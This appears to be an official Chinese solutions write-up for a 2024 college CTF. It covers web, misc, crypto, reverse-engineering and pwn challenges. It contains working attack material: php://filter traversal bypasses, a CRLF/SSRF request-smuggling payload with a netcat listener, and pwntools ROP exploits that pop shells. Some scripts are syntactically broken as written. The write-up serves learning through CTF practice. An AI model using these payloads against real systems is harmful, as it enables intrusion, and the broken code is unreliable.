2024年院赛官方题解
Web
laodaimissyou
在源码界面可以查看到

进行三次 base64 解码得到 flag

flag(WHATCANISAY)
easyheader

Payload:
http://192.168.88.132:23456/html/flagg.php?a[]=1&b[]=2POST:c=1024.9a&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&e=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1Cookie:name=php://filter/convert.base64-encode/resource=flag

flag{0h_y0u_f1nd_mE}
array_filter
源码:
<?php
ini_set("error_reporting", 0);
if(isset($_GET['source'])) {
highlight_file(__FILE__);
}
include "/var/www/html/flag.php";
function sanitize_path($p) {
return str_replace(array("\0","\r","\n","\t","\x0B",'..','./','.\\','//','\\\\',),'',trim($p, "\x00..\x1F"));
}
path = _GET['path'];
if(isset($path) && str_contains($path, "/var/www/html/static/")) {
die(file_get_contents(sanitize_path($path)));
}
?>
<html>
<head>
<title>Traversaller</title>
</head>
<body>
<h1>Traversaller</h1>
<p>To view the source code, <a href="/?source">click here.</a>
<script src="/?path=/var/www/html/static/flag.js"></script>
</body>
</html>
简而言之,传入一个 path 参数,如果包含 array("\0","\r","\n","\t","\x0B",'..','./','.\','//','\\',) 这些会被删除,但是只会删除一次
并且需要包含 /var/www/html/static/ 字段
最终需要利用 die(file_get_contents(sanitize_path($path))); 进行文件包含
用伪协议 php://filter/
注意黑名单数组顺序,用 /\\/ 即可绕过出 //
最终 payload
path=php:/\\\\/filter/read=/var/www/html/static/convert.base64-encode/resource=/var/www/html/flag.php


删除是按照数组顺序来的
所以 // 前面的都无法用来绕过,只有 ** \\** 可以
flag{p1EaSe_d0Nt_hAck_M3}
thesky
原题出处:2023SCTF ezcheck1n
POC
/2023/1%20HTTP/1.1%0d%0aHost:%20locahost%20%0d%0a%0d%0aGET%20/2022.php%3furl%3d127.0.0.1:8080
Nc -lvvp 8080
flag{8382843b-d3e8-72fc-6625-ba5269953b23}
Misc
公众号签到
关注公众号HuhstSec实验室并回复签到得到
MZWGCZ33K5SWYYZQNVSV65BQL5MXKYLOONQWSMRQGI2H2===
利用 base32 在线解码得到 flag
flag{Welc0me_t0_Yuansai2024}
ez_lsb
在 blue plane 2 通道,所以直接打开 stegsolve 把图片丢进去在 blue plane 2 找到二维码

扫描二维码得到摩斯密码

再利用摩斯密码在线解密网站得到 flag
flag{4asy_1sb_st4g}
ez_http
根据题目名字猜测本题与 http 流有关,追踪 http 流发现 http 流的 data 有不相同

记录得到密文5oGt5Zac5L2g5Y%2BR546w5LqG5YWz6ZSu5L%2Bh5oGv77yM5oiW6K646L%2BZ5piv5L2g5oOz6KaB55qE5YaF5a6577yac3ludHs0bjYxMjFycXEzNjIyNHFxNjNwNTByNzg3MW5zNzU1c30%3D
根据题目 hint 可知这是 url 编码,解码后得到一串 base64 解密后得到信息”恭喜你发现了关键信息,或许这是你想要的内容:synt{4n6121rqq36224qq63p50r7871ns755s}”,后面的形式看着像flag,但开头不太对所以丢进 rot13 / 凯撒#13 解一下得到 flag。
flag{4a6121edd36224dd63c50e7871af755f}
小明的秘密
打开附件里面有一张d.jpg和一个压缩包以及hint,打开压缩包发现它被加密了但可以发现里面也有一张d.jpg,所以考虑明文爆破

根据 hint 可知压缩软件为 7-zip,所以用 7-zip 压缩 d.jpg,再利用 ARCHPR 进行明文爆破,等个几分钟得到加密密钥,将其保存就可以得到没加密的 zip。打开里面的 txt 有一大堆数据,txt 开头说有 200 个 f,所以考虑字频统计得到 flag

flag{EdCvGyTr@95173}
ez_http
打开流量包,发现 http 流里面有 png 将其导出发现是 flag 的一截

将其丢进 010Editor 查看,在中途我们就能看见 png 的文件尾,还有和文件开头部分相似的内容


所以我们搜索文本sRGB将每段数据导出来再加上png的文件头就可以再得到两张图片,放在一起就是完整的flag了


flag{0284ad34-3588-4787-abfb-e110826e91a6}
扫雷
游戏题所以有一种得到 flag 的方法就是打通关它,另外一种就是运用 Cheat Engine 修改器,选择打开进程,扫描类型选择字符串(String),数值填写 flag{,点击首次扫描得到3个地址。点击它们3 个地址,然后其会出现在下方右击选择浏览相关内存区域就可以看见 flag 了

flag{YOU_AR3_GR3AT_@_minesweeper}
这是什么湖
根据题目描述萱妍到了长沙一个知名的湖,我们可以搜一搜长沙有名的湖试一试便可以知道flag为松雅湖

这是什么学校呀
百度识图一下得知道图中是衡阳师范学院图书馆,所以flag为衡阳师范学院

Crypto
古典密码
🐩🐨🐩🐪🐩🐪🐪🐨🐩🐪🐩🐪🐩🐪🐩🐪🐨🐨🐩🐪🐩🐪🐩🐪👴🐩🐩🐩🐪🐩🐪🐩🐪👲🐩🐪
BASE100编码解码: 212323312323232311232323}22232323{23
棋盘密码:
棋盘类型:Polybius
棋盘序列:ABCDEFGHIJKLMNOPQRSTUVWXYZ
w型栅栏密码:fhhlhhhhahhh}ghhh{h
key:5
flag{hhhhhhhhhhhhh}
rsa1
import libnum
n = 108726250463986629030376460709100424740961558063705043991188555053406097511855597252928138692977675232403931689899224046219494012232310630729226940029891976608527066921433628267211955616721907907602395613021189622005781539605597932703800192921805546134866666726991311911392611098503073201705180348845530266571
x = 49198183590798436760818106933487764933423454546230606813323010197082136947122356778565082963804219161932169174522470406613802480895717535605568250649599703932554686052264831025847714432658079017607131952683929399832199970882720688091555322114966249311429997745758659322419573406489260763604268103549653394422
y = 86029677741024925841693804631582377773590987100798904638113426384256681535647041667312034736873538051947859778874090872018646668255951479067172105958804793884796390372666384709268830040784599678950693918930373919890059331830680649070165416891207794569285992110186622117292610921866771797865811431469423565899
# 费马小定理,由x^n%p=(y^p)^p%p,得到:x^n-y=kp。同公约数求p。
p = libnum.gcd(pow(x,n,n)-y,n) q=n //p phi=(p-1)*(q-1)
d = libnum.invmod(p,phi)
m = pow(x,d,n)
flag = libnum.n2s(m)
print(flag)
#b'flag{a0fe457b-bb42-43f6-b69f-429a574d34c5}'
rsa2
import gmpy2
import libnum
p = 91686771355171145620588413272399939428036500007340744736515940163392268784023
q = 63046750653623271876604042159153167325179138907881554669424826838768231822353
c = 3176754573105693892994121501320717262971348612659251860282088610894662481991802778945065772834171665333055506972395043467252560405710280975900033851610324
e = 74
b = 2
n = p*q
f = (p-1)*(q-1)
bd = gmpy2.invert(e//2, f)
d = bd//b
m2 = pow(c, bd, n)
m = gmpy2.iroot(m2, 2)
m = 2511413510841747861437794446274749874804972284147091139709
print(m)
print(libnum.n2s(m))
#b'flag{double_Double_kill}'
rsa3
因为 M=m*e*7*2023*p,可知 p 是 M 的因数,所以加密后的 c 也包含因数 p。
n 也有因数 p,所以 n 和 c 存在共模攻击,求 n 和 c 的公因数得到 p。后面就是 rsa 常规解密
流程得到 M,然后除法求出 m。

flag{40240d26-c5aa-4b7e-9060-b113749c5fda}
Reverse
Welcome_to_reverse(签到)
将附件直接用 IDA 打开,可直接得到 flag

或直接运行程序,输入 flag
也可得到
flag{W3lc0m3_t0_R3v3rs3!}
Check
本题主要考点在于 SEH 反调试。使控制流跳转到目标函数 $LN22(反编译时函数名可能会不同)的方式有很多(例如直接 patch 掉目标函数前的所有函数,因为地址相连会直接跳转到目标函数),下面仅介绍其中一种。
1.先看到流程图,找到这里

nop 掉选中异常部分。
拉动流程图会在 $LN22 处看到“Success start!”(只要让控制流跳到 Success Start 即可)

最后 jnz 这里右键 Assemble 改成 jmp $LN22

得到真正的加密函数

这里其实可以大概看出是 RC4 加密,key 是 Reverse
,v9[] 就是 kbox[],_Right[] 是 Sbox[],这里有一步容易被忽略就是 swap(&Right[v13],&Right[k]),也就是 Sbox 的值有进行交换。另一易错点为最后的三个字符 B(|
可能会被忽略。

直接建立脚本解密即可。
脚本如下:
#include<iostream>
#include<algorithm>
#include<cstdio>
#include<cmath>
#include<map>
#include<vector>
#include<queue>
#include<stack>
#include<set>
#include<string>
#include<cstring>
#include<list>
#include<stdlib.h>
using namespace std;
typedef int status;
typedef int selemtype;
unsigned char str[256]={0x5e,0xc7,0x02,0xf6,0x95,0x76,0xc9,0xd0,0xc2,0xce,0x04,0xa0,0xa7,0x12,0xb6,0x58,0x15,0xf1,0x3b,0x60,0x40,0x43,0xf1,0x42,0x28,0x7c};
unsigned char key[8]="Reverse";
unsigned char flag[256]={0};
unsigned char Sbox[256]={0};
unsigned char Kbox[256]={0};
int main()
{
for (int i = 0; i < 256; i++) {
Sbox[i] = i;
Kbox[i] = key[i % strlen((char*)key)];
}
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + Sbox[i] + Kbox[i]) % 256;
swap(Sbox[j], Sbox[i]);
}
int n = 0;
j = 0;
for (int i = 0; i < strlen((char*)str); i++) {
n = (n + 1) % 256;
j = (Sbox[n] + i) % 256;
swap(Sbox[n], Sbox[j]);
str[i] ^= Sbox[(Sbox[n] + Sbox[j]) % 256];
}
printf("%s",str);
//flag{S0lving_SEH_is_s0_ez}
}
SpaceWar
首先我们随意打一把得到分数 6700

使用 ce 搜索值 6700

发现有多个值,无法确定哪个值为测定分数的内存,这时我们再重新开始一把游戏,观察这两组数据的变化情况

可以看到上一组数据的变化情况不符合我们的分数
那么我们选择下面的数据进行修改

即可修改值得到 flag
Pwn
man
nc 之后输入 env 即可
hide
from pwn import *
system_addr = 0x4012B7
binsh_addr = 0x404050
pop_rdi = 0x4011be
p.sendline(b'1024')
sleep(2)
pad = b'a' * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) p.sendline(pad)
p.interactive()
backdoor
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
elf = ELF('./backdoor')
pop_rdi = 0x40117e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
ret = 0x40101a
pad1 = b'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(pad1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base_addr = puts_addr - 0x80e50
system_addr = base_addr + 0x50d70
binsh_addr = base_addr + 0x1d8678
print(hex(puts_addr))
print(hex(system_addr))
print(hex(binsh_addr))
pad2 = b'a' * 0x58 + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(pad2)
p.interactive()
shell
from pwn import *
payload = b"\xE8\x6D\xD1\xFF\xFF"
p.sendline(payload)
p.interactive()